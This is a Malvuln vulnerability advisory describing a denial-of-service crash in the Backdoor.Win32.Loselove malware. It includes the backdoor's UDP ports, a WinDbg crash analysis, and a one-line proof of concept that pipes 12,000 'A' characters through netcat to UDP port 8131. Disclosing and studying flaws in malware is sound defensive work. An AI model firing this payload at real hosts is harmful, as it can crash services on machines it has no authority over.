Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/9a8150938bff3a17fa0169c3dc6dae85.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Loselove Vulnerability: Denial of Service Description: The malware listens on UDP ports 9329, 8329, 8322, 8131 and 8130. Attackers can send a large junk payload to UDP port 8131 causing it to crash. Family: Loselove Type: PE32 MD5: 9a8150938bff3a17fa0169c3dc6dae85 Vuln ID: MVID-2022-0554 Disclosure: 04/18/2022 Memory Dump: (fe4.10a0): Access violation - code c0000005 (first/second chance not available) eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000 eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAcquireSRWLockShared+0xb: 776e9fab 56 push esi 0:000> .ecxr eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000 eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAcquireSRWLockShared+0xb: 776e9fab 56 push esi 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 FAULTING_IP: KERNELBASE!RaiseException+62 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: 0019f790 -- (.exr 0x19f790) ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: 0eedfade ExceptionFlags: 00000003 NumberParameters: 7 Parameter[0]: 00411c67 Parameter[1]: 041ac750 Parameter[2]: ffffffff Parameter[3]: 0040e744 Parameter[4]: 041bfc04 Parameter[5]: 0019fd10 Parameter[6]: 0019fcd0 PROCESS_NAME: Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 000a0fd4 WRITE_ADDRESS: 000a0fd4 FOLLOWUP_IP: KERNELBASE!RaiseException+0 74a10890 8bff mov edi,edi MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0019f7e0 -- (.cxr 0x19f7e0) eax=0019fc40 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040e744 edi=041bfc04 eip=74a108f2 esp=0019fc40 ebp=0019fc9c iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc94=ae6d973b Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0046361e to 74a108f2 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff STACK_TEXT: 0019fc40 74a108f2 kernelbase!RaiseException+0x62 0019fd18 0046361e backdoor_win32_loselove+0x6361e 0019fd70 0046353d backdoor_win32_loselove+0x6353d 0019fd8c 7720e0bb user32!_InternalCallWinProc+0x2b 0019fdb8 77218849 user32!InternalCallWinProc+0x20 0019fddc 7721b145 user32!UserCallWinProcCheckWow+0x1be 0019feac 772090dc user32!DispatchMessageWorker+0x4ac 0019ff18 772038c0 user32!DispatchMessageA+0x10 0019ff20 0044d058 backdoor_win32_loselove+0x4d058 0019ff74 00498514 backdoor_win32_loselove+0x98514 0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: kernelbase!RaiseException+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: KERNELBASE IMAGE_NAME: KERNELBASE.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019F7E0 ; kb ; dds 19fc40 ; kb FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0 Exploit/PoC: python -c "print('A'*12000)" | nc64.exe x.x.x.x 8131 -c -u Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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